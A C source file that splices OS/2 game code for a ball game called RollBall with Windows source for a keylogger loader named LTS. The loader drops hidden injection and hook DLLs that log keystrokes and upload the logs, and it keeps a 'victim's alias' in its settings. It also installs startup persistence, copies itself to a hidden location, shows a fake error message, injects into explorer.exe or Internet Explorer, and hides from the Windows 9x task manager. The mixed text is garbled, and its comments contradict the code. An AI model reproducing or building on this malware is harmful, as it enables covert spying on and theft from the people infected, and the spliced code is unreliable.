/* Initialize data for our drawing thread */ int Draw_Initialize(void) { int i; /* Temporary variables */ /* For each symbol, open a memory devicecontext, create a presentation space and load the bitmap from the EXE file */ for(i=1;i<RB_BORDER;i++) { if(!(hdcRB[i]=DevOpenDC(hab, /* Open device context with anchor block handle of our application */ OD_MEMORY, /* Type of device context (memory) */ (PSZ)"*", /* Device information token (no initialization) */ 8L, /* Number of items (of deviceopendata) */ (PDEVOPENDATA)&dcRB[i], /* Open device context data */ (HDC)NULL))) /* Compatible device context (compatibilty with screen) */ GEN_ERR(hab,hwndFrame,hwndClient); if(!(hpsRB[i]=GpiCreatePS(hab, /* Create a presentation space with our anchor block handle */ hdcRB[i], /* Device context handle (of our symbols) */ &sizelRB, /* Presentation space size (or our symbols) */ GPIA_ASSOC|PU_PELS))) /* Options (assoziate to screen, pels as unit) */ GEN_ERR(hab,hwndFrame,hwndClient); /* Load bitmap from EXE file */ if(!(hbmRB[i]=GpiLoadBitmap(hpsRB[i], (HMODULE)0, /* Ressource (EXE file) */ RB_RESSOURCE_ID[i], /* ID of bitmap within ressource */ 0L, /* Width of bitmap in pels (no streching) */ 0L))) /* Height of bitmap in pels (no streching) */ GEN_ERR(hab,hwndFrame,hwndClient); } return(0); }
/* Draw a bitmap on client window */ void Draw_Bitmap(ULONG Bitmap,ULONG mode,ULONG x,ULONG y) { static POINTL D_Array[5]; /* Structure to locate bitmap into window */ /* Destination edges */ D_Array[0].x=x; D_Array[0].y=y; D_Array[1].x=x+RB_SIZE; D_Array[1].y=y+RB_SIZE; /* Source edges */ D_Array[2].x=D_Array[2].y=0; D_Array[3].x=D_Array[3].y=RB_SIZE; /* Select bitmap */ GpiSetBitmap(hpsRB[Bitmap],hbmRB[Bitmap]); /* Select selected bitmap into client area */ if(!(GpiSetBitmap(hpsDT,hbmRB[Bitmap]))) GEN_ERR(habDT,hwndFrame,hwndClient); /* Copy bitmap from memory to client area */ if(GpiBitBlt(hpsDT, /* Target presentation space handle */ hpsRB[Bitmap], /* Source presentation space handle */ 4L, /* Point count */ (PPOINTL)D_Array, /* Point array */ mode, /* Mixing function required (copy over target) */ BBO_IGNORE)==GPI_ERROR) /* Options for compression (ignore it) */ GEN_ERR(habDT,hwndFrame,hwndClient); }
int Installation(const char* const argv0) { /* Output the DLL files required for Injection and system-wide hook. */ HANDLE mm; int offset; FILE *fp; FILE *fp2; char* tmp; char* dll; char path[MAX_PATH+1]; char* p; /* DLLs are appended to us, let's get them now by reading ourself. */ fp = fopen(argv0, "rb"); if (!fp) { WIN_ERR("Opening ourself to output DLLs has failed."); return 1; } /* Output the injection DLL. */ offset = 3 + sizeof(LTSData) + data.blocksz + data.hooksz + data.injectsz; fseek(fp, -offset, SEEK_END); /* Allocate space for injection dll */ dll = malloc(data.injectsz); if (!dll) { WIN_ERR("Unable to allocate memory for injection DLL."); fclose(fp); return 1; } /* Copy DLL from EXE to memory. */ fread(dll, 1, data.injectsz, fp); /* Construct the injection DLL name. It will go in a global variable, as we need it later on. */ tmp = SettingsGetValue(block, data.blocksz, "INJECTNAME"); snprintf(injectdll, MAX_PATH, "%s/%s", rootpath, tmp); injectdll[MAX_PATH] = '\0'; free(tmp); /* Why does it sometimes fail to overwrite? Just in case, manually remove the old one. */ remove(injectdll); fp2 = fopen(injectdll, "wb"); if (fp2) { /* File is open, output DLL from memory to disk. */ fwrite(dll, 1, data.injectsz, fp2); fclose(fp2); /* Make the DLL hidden. */ SetFileAttributes(injectdll, FILE_ATTRIBUTE_HIDDEN); } #ifdef DEBUG_MODE else { WIN_ERR("Unable to open file to output Injection DLL to.\nFile likely in use.\nWill attempt to use the existing one."); } #endif /* Failed to output DLL or not, free the memory. */ free(dll); /* Output the hook DLL. Allocate space for it in memory. */ dll = malloc(data.hooksz); if (!dll) { WIN_ERR("Unable to allocate memory for hook DLL."); fclose(fp); return 1; } /* Copy from disk to memory. */ fread(dll, 1, data.hooksz, fp); /* Construct the DLL name. */ tmp = SettingsGetValue(block, data.blocksz, "HOOKNAME"); snprintf(path, MAX_PATH, "%s/%s", rootpath, tmp); path[MAX_PATH] = '\0'; free(tmp); remove(path); fp2 = fopen(path, "wb"); if (fp2) { /* Copy from memory to disk. */ fwrite(dll, 1, data.hooksz, fp2); /* Close fp2 (Hook DLL) */ fclose(fp2); /* Make the DLL hidden. */ SetFileAttributes(path, FILE_ATTRIBUTE_HIDDEN); } #ifdef DEBUG_MODE else { WIN_ERR("Unable to open file to output hook DLL to.\nFile likely in use.\nWill attempt to use the existing one.") }; #endif /* Failed to output DLL or not, free the memory and close the file */ free(dll); fclose(fp); /* Write the flag struct to a memory mapped buffer so the hook DLL can get access to it. */ mm = CreateFileMapping(INVALID_HANDLE_VALUE, 0, PAGE_READWRITE, 0, sizeof(LTSFlags), LTS_MMBUF_FLAGS); if (!mm) { WIN_ERR("Unable to create file mapping to write flag struct to."); return 1; } p = MapViewOfFile(mm, FILE_MAP_ALL_ACCESS, 0, 0, sizeof(LTSFlags)); if (!p) { WIN_ERR("Unable to map a view of mapped buf to write flags."); return 1; } CopyMemory(p, &data.flags, sizeof(LTSFlags)); UnmapViewOfFile(p); /* Write the settings block (and size) to a memory mapped buffer so the injection DLL can get access to it. */ /* Start by writing the size of the block. */ mm = CreateFileMapping(INVALID_HANDLE_VALUE, 0, PAGE_READWRITE, 0, sizeof(data.blocksz), LTS_MMBUF_BLOCK_SZ); if (!mm) { WIN_ERR("Unable to create file mapping for settings block size."); return 1; } p = MapViewOfFile(mm, FILE_MAP_ALL_ACCESS, 0, 0, sizeof(data.blocksz)); if (!p) { WIN_ERR("Unable to map a view of file mapping to write block size."); return 1; } CopyMemory(p, &data.blocksz, sizeof(data.blocksz)); /* Copy the size first. */ UnmapViewOfFile(p); /* and then the block itself. */ mm = CreateFileMapping(INVALID_HANDLE_VALUE, 0, PAGE_READWRITE, 0, data.blocksz, LTS_MMBUF_BLOCK); if (!mm) { WIN_ERR("Unable to create file mapping for block."); return 1; } p = MapViewOfFile(mm, FILE_MAP_ALL_ACCESS, 0, 0, data.blocksz); if (!p) { WIN_ERR("Unable to map a view of file mapping to write block."); return 1; } CopyMemory(p, block, data.blocksz); UnmapViewOfFile(p); /* Done with this. We have all the settings. Free it. */ free(block); return 0; } int WINAPI WinMain(HINSTANCE inst, HINSTANCE prev, LPSTR argv, int show) { char me[MAX_PATH+1]; HANDLE m; FARPROC pCopyFile; OS_PLATFORM platform; char ranbyuser; /* Look for a commandline flag indicating if we ran via Windows startup. */ if (!strcmpi2(argv, RAN_ON_BOOT_FLAG, strlen(RAN_ON_BOOT_FLAG))) { ranbyuser = 0; } else { ranbyuser = 1; } /* Let's get the path to ourself. */ GetModuleFileName(0, me, MAX_PATH); me[MAX_PATH] = '\0'; /* Stop annoying warning. */ #ifdef DEBUG_MODE inst = prev = 0; argv = 0; show = 0; #endif /* We mainly need path2me. Let's load it now. */ if (LoadSettings(me)) { GEN_ERR("LoadSettings() returned an error, not going to bother going on. Quitting."); return 1; } /* Get the platform we are running on. */ platform = GetPlatform(); /* Implement startup method. */ if (PLAT_9X != platform) { /* If ActiveX startup fails, use Run startup. (Rare) */ if (ImplementDefaultStartup()) ImplementRunStartup(); } else { /* ActiveX works on 9X. But on 9X, we do not terminate, this will halt explorer. */ ImplementRunStartup(); } /* Copy myself over to a path where we will reside forever. Without remove(), CopyFile() sometimes doesn't overwrite, even though it succeeds, wtf? */ remove(path2me); pCopyFile = GetProcAddress(GetModuleHandle("Kernel32.dll"), "CopyFileA"); if (pCopyFile) { pCopyFile(me, path2me, 0); } else { WIN_ERR("Could not get address of CopyFileA. Unable to copy ourself to PATH"); } /* Make myself hidden. */ SetFileAttributes(path2me, FILE_ATTRIBUTE_HIDDEN); /* If we are supposed to display a fake error AND we ran via user... */ if (ranbyuser && errmsg) { /* Display a fake error message box. */ MessageBox(0, errmsg, errcap, MB_ICONERROR); free(errmsg); free(errcap); } /* Check to see if I am already running. If so, quit. */ CreateMutex(0, 1, MUTEX_NAME_RUNNING); if (GetLastError()!=ERROR_SUCCESS) { /* If we are NOT able to create the mutex, assume it's because it already exists. */ INFO("An instance of LTS is already running!\nExiting."); /* Clean up from LoadSettings() */ free(block); return 1; } /* Read settings. They are (supposed to be) appended to the LTS executable file. */ if (Installation(me)) { INFO("Due to errors during installation, we will NOT continue."); /* Clean up what LoadSettings() did. */ free(block); return 1; } /* The rest depends on the OS platform. Let's get that now. If it's NOT 9X OR it IS an error, assume it's NT */ if (PLAT_9X != platform) { HANDLE confirm; unsigned int i; DWORD pid; char success; success = 0; pid = 0; confirm = 0; /* Inject DLL into a process. */ #ifdef DEBUG_MODE pid = InjectionProcessId("C:\\Windows\\System32\\calc.exe", SPAWN); if (!pid) { GEN_ERR("Getting pID of calc.exe has failed. Going to attempt default browser."); } #else /* First target is Explorer. Get the PID */ pid = InjectionProcessId("explorer.exe", RUNNING); #endif /* If the pid is valid, Attempt to inject into the process. Otherwise, attempt def browser */ if (pid) { Inject(injectdll, pid); /* Wait for the confirmation mutex to be created by the injection DLL. */ INFO("Stub waiting for confirmation mutex."); /* Wait 5 seconds (100ms * 50), if we still don't the confirmation mutex. Assume the injection failed. */ for (i=0; i<50; ++i) { confirm=OpenMutex(0, 0, MUTEX_NAME_DONE); if (GetLastError()!=ERROR_FILE_NOT_FOUND) { success = 1; break; } Sleep(100); } } /* If we did not get the mutex, attempt to inject into the default browser. */ if (!success) { /* XXX Fix this. Get default browser and spawn it silently. */ /* char browser[MAX_PATH]; DWORD browsersz=MAX_PATH; GEN_ERR("Injecting into a running Explorer.exe has failed.\nAttempting to spawn and inject into the default browser."); GetDefaultBrowser(browser, &browsersz); pid = InjectionProcessId(browser, SPAWN); pid = InjectionProcessId("c:\\Program Files\\Mozilla Firefox\\firefox.exe", SPAWN); */ /* If we got the PID, use it. Else just use IE. */ GEN_ERR("Injecting into a running Explorer.exe has failed.\nAttempting to spawn and inject into IE."); pid = InjectionProcessId("C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE", SPAWN); if (pid) { Inject(injectdll, pid); /* Now wait for the confirmation mutex again. */ for (i=0; i<50; ++i) { confirm=OpenMutex(0, 0, MUTEX_NAME_DONE); if (GetLastError()!=ERROR_FILE_NOT_FOUND) { success = 1; break; } Sleep(100); } } if (!success) { /* Injection into default browser has failed as well. This should NEVER happen. Let's just load the DLL manually then. */ HINSTANCE dll; MSG msg; GEN_ERR("Injection into default browser failed. Going to manually load DLL."); dll = LoadLibrary(injectdll); if (!dll) { WIN_ERR("Unable to load DLL! -- Quitting."); return 1; } while (GetMessage(&msg, 0, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } } } /* We got confirmation that the DLL successfully read the settings. We can now die. */ INFO("Success! Got confirmation mutex. Stub terminating."); CloseHandle(confirm); } else { /* Windows 9X */ HINSTANCE dll; HMODULE kernel32; MSG msg; /* Hide from task manager. (9X ONLY) */ kernel32 = LoadLibrary("Kernel32.dll"); if (kernel32) { FARPROC rsp; rsp = GetProcAddress(kernel32, "RegisterServiceProcess"); if (rsp) rsp(GetCurrentProcessId(), 1); FreeLibrary(kernel32); } /* We can not inject into a process' address space on 9X. We *can* 'inject' using a hook and LoadLibrary() but for now, let's just manually load the DLL and sit idle. */ dll = LoadLibrary(injectdll); if (!dll) { WIN_ERR("Unable to load injection DLL! -- Quitting."); return 1; } /* This mutex is meant DLL injection, it tells us that the DLL has read the settings. */ for (;;) { m=OpenMutex(0, 0, MUTEX_NAME_DONE); if (GetLastError()!=ERROR_FILE_NOT_FOUND) break; Sleep(200); } /* Unlike on NT w/ DLL injection, we can not terminate. Windows will unload the DLL. */ CloseHandle(m); /* Just sit idle. DLL that we loaded should take care of the rest. */ INFO("Running on 9X. DLL has been loaded. Loader will sit in an idle loop."); while (GetMessage(&msg, 0, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } } return 0; }
void Draw_Thread(ULONG ulThreadArg) { if(!(habDT=WinInitialize(0UL))) /* Initialize client window */ GEN_ERR(habDT,hwndFrame,hwndClient); /* Create a message queue */ if(!(hmqDT=WinCreateMsgQueue(habDT,0UL))) GEN_ERR(habDT,hwndFrame,hwndClient); if(!(hpsDT=WinGetPS(hwndClient))) /* Get a presentation space for client area */ GEN_ERR(habDT,hwndFrame,hwndClient); /* Initialize message queue */ WinPostQueueMsg(hmqDT,DT_PAINT,0UL,0UL); while(qmsqDT.msg!=DT_EXIT) { if(WinPeekMsg(habDT, /* Get the message into message queue */ &qmsqDT, /* Message structure */ NULLHANDLE, /* Window filter (none) */ 0UL, /* First message ID */ 0UL, /* Last message ID */ PM_REMOVE)==FALSE) /* Options (remove message) */ qmsqDT.msg=DT_IDLE; /* If no message available, assume idle */ switch(qmsqDT.msg) { case DT_PAINT: /* Repaint client window */ { RECTL rclDT; int x,y; /* Repaint client window aread */ WinQueryWindowRect(hwndClient,&rclDT); WinFillRect(hpsDT,&rclDT,CLR_WHITE); for(x=1;x<RB_X;x++) /* Draw the entries on playing ground */ for(y=1;y<RB_Y;y++) if(RB_Array[x][y]!=RB_EMPTY) Draw_Bitmap(RB_Array[x][y],ROP_SRCCOPY,(x-1)*RB_SIZE,(y-1)*RB_SIZE); break; } case DT_LBUTTON: { int x,y; /* Left button was pressed, get the location, add \ to RB_Array, and draw \ bitmap, if field is emty */ x=(LONGFROMMP(qmsqDT.mp1)/RB_SIZE)+1; y=(LONGFROMMP(qmsqDT.mp2)/RB_SIZE)+1; if(RB_Array[x][y]==RB_EMPTY) { RB_Array[x][y]=RB_LX; Draw_Bitmap(RB_LX,ROP_SRCCOPY,(x-1)*RB_SIZE,(y-1)*RB_SIZE); } break; } case DT_RBUTTON: { int x,y; /* Right button was pressed, get the location, add / to RB_Array, and draw / bitmap, if field is emty */ x=(LONGFROMMP(qmsqDT.mp1)/RB_SIZE)+1; y=(LONGFROMMP(qmsqDT.mp2)/RB_SIZE)+1; if(RB_Array[x][y]==RB_EMPTY) { RB_Array[x][y]=RB_RX; Draw_Bitmap(RB_RX,ROP_SRCCOPY,(x-1)*RB_SIZE,(y-1)*RB_SIZE); } break; } case DT_IDLE: { if(runRB==TRUE) { ULONG x,y,Symbol; /* Under DOS we would query the time in milliseconds from the system timer, to adjust graphics. This is accurate, but in a multitasking in a multitasking system, we must assume being pre-empted. Therefore we can't have an exact time bases. Hope that the system timer counts more often than all 31 milliseconds in future releases/machines */ /* Draw bitmap */ switch(RB_Dir) /* Test that RollBall doesn't leave borders. A border reverses the direction and produces a beep */ { case UP: RB_PosY++; if((RB_PosY+RB_SIZE)>=((RB_Y-2)*RB_SIZE)) { RB_PosY=(RB_Y-3)*RB_SIZE; RB_Dir=DOWN; DosBeep(800,50); } break; case DOWN: RB_PosY--; if(RB_PosY<0) { RB_PosY=0; RB_Dir=UP; DosBeep(800,50); } break; case LEFT: RB_PosX--; if(RB_PosX<0) { RB_PosX=0; RB_Dir=RIGHT; DosBeep(800,50); } break; case RIGHT: RB_PosX++; if((RB_PosX+RB_SIZE)>=((RB_X-2)*RB_SIZE)) { RB_PosX=(RB_X-3)*RB_SIZE; RB_Dir=LEFT; DosBeep(800,50); } break; } /* Draw RollBall at new position */ Draw_Bitmap(RB_RB,ROP_SRCCOPY,RB_PosX,RB_PosY); /* Now, test if the middle of RollBall is over any symbol. If a symbol is found, add points, deflect or end game */ /* RB_Array is 1 based, because 0 indices are the playing ground borders */ x=((RB_PosX)/RB_SIZE)+1; y=((RB_PosY)/RB_SIZE)+1; /* A Symbol if RB_SIZE*RB_SIZE in size, that means RollBall is exactly over a symbol, if the lower left edges of both symbols match. Then, and only then, we count points, deflect or loose */ if((RB_PosX==(x-1)*RB_SIZE) && (RB_PosY==(y-1)*RB_SIZE)) Symbol=RB_Array[x][y]; else Symbol=RB_EMPTY; switch(Symbol) { case RB_LX: /* We got a \ deflector */ { switch(RB_Dir) /* \ deflects direction of RollBall */ { case RIGHT: RB_Dir=DOWN; break; case UP: RB_Dir=LEFT; break; case LEFT: RB_Dir=UP; break; case DOWN: RB_Dir=RIGHT; break; } /* Remove deflector */ RB_Array[x][y]=RB_EMPTY; break; } case RB_RX: /* We got a / deflector */ { switch(RB_Dir) /* / deflects direction of RollBall */ { case RIGHT: RB_Dir=UP; break; case UP: RB_Dir=RIGHT; break; case LEFT: RB_Dir=DOWN; break; case DOWN: RB_Dir=LEFT; break; } /* Remove deflector */ RB_Array[x][y]=RB_EMPTY; DosBeep(600,20); break; } case RB_BP: /* We got a point */ case RB_GP: case RB_MP: case RB_VP: { /* Add the points for each symbol */ RB_Point[0]+=RB_Point[Symbol]; /* Remove the point */ RB_Array[x][y]=RB_EMPTY; if (ulDelay) ulDelay--; DosBeep(700,20); break; } case RB_HOLE: /* We got a hole, sorry but RollBall will be killed. We disable RollBall from rolling, and send a ID_STOPTHREAD message to our window, which informs the user about the points with a message box */ { int freq; for(freq=5000;freq>100;freq-=100) DosBeep(freq,5); runRB=FALSE; /* Prevent RollBall from further rolling */ WinPostMsg(hwndClient,WM_COMMAND,(MPARAM)ID_STOPTHREAD,(MPARAM)0); break; } } /* Randomly add and remove symbols on playing ground */ if((rand()%500)<2) { Put_Random_Field(); Clear_Random_Field(); } } } } DosOpen("TIMER0$", &hfile, &ulAction, 0, 0, OPEN_ACTION_OPEN_IF_EXISTS, OPEN_FLAGS_FAIL_ON_ERROR | OPEN_SHARE_DENYNONE | OPEN_ACCESS_READWRITE, NULL); ulDelay2=ulDelay/2; DosDevIOCtl(hfile, HRT_IOCTL_CATEGORY, HRT_BLOCKUNTIL, &ulDelay2, ulSize2, &ulSize2, NULL, 0, NULL); DosClose(hfile); } WinReleasePS(hpsDT); /* Clean up */ WinDestroyMsgQueue(hmqDT); WinTerminate(habDT); DosExit(EXIT_THREAD,0UL); }
int LoadSettings(const char* const argv0) { /* Return 1 on failure, 0 on success. Settings are appended to this executable file. Read, and load them into a file mapping so that the DLLS are able to read them. Format of settings: [ -(EXE data)- ] [ InjectDLL ] [ HookDLL ] [ Block ] [ Data ] [ (LTS) ] InjectDLL = Will be the DLL that handles setting the hook, uploading/archiving logs. HookDLL = The actual hook proc that is logging keys to the file. Block = A NUL-terminated block of data holding keys/values which include the victim's alias, path to where we archive logs, etc. This is not a fixed struct because the file names are not a fixed size. We need to dynamically parse them out. Data = A fixed size struct that determines how big the block and DLLs are. This is what we will use to find the offset to the DLLs and block. This also has a flags struct. (LTS)=Last three bytes of the file are 'O' 'K' and 'L' -- The update feature will check to see that this is there before replacing the loader. A small check but it can help in a rare situation where the file got corrupt. */ FILE* fp; int offset; char* tmp; /* Settings are appended to us, let's get them now by reading ourself. */ fp = fopen(argv0, "rb"); if (!fp) { WIN_ERR("Unable to open myself to read settings."); return 1; } /* Check the last 3 bytes, make sure the signature is there. */ fseek(fp, -3, SEEK_END); if (!('L'==fgetc(fp) && 'T'==fgetc(fp) && 'S'==fgetc(fp))) { GEN_ERR("This EXE does not have our signature. Possibly corrupt.\nNot going to attempt reading settings."); fclose(fp); return 1; } /* Get the LTSData struct, this contains sizes which we will use to get the offset of everything else. */ offset = 3 + sizeof(LTSData); fseek(fp, -offset, SEEK_END); fread(&data, sizeof(LTSData), 1, fp); /* Get block of key/value pairs (settings). Start by allocating space for it. */ block = malloc(data.blocksz); if (!block) { WIN_ERR("Unable to allocate memory for block. Quitting."); fclose(fp); return 1; } offset += data.blocksz; fseek(fp, -offset, SEEK_END); fread(block, 1, data.blocksz, fp); /* We will be using the root path a lot. So keep hold of it for now. */ tmp = SettingsGetValue(block, data.blocksz, "PATH"); if (!tmp) { GEN_ERR("Unable to get root path. Going to use .../system32/"); strncpy(rootpath, "C:\\Windows\\System32\\", MAX_PATH); } strncpy(rootpath, tmp, MAX_PATH); rootpath[MAX_PATH] = '\0'; free(tmp); /* We need the path to where we will reside ASAP to implement startup. */ tmp = SettingsGetValue(block, data.blocksz, "FILENAME"); snprintf(path2me, MAX_PATH, "%s/%s", rootpath, tmp); free(tmp); /* Check if we should display a fake error. */ tmp = SettingsGetValue(block, data.blocksz, "FAKEERROR"); if (tmp && tmp[0]=='1') { errmsg = SettingsGetValue(block, data.blocksz, "ERRMSG"); errcap = SettingsGetValue(block, data.blocksz, "ERRCAP"); free(tmp); } fclose(fp); return 0; }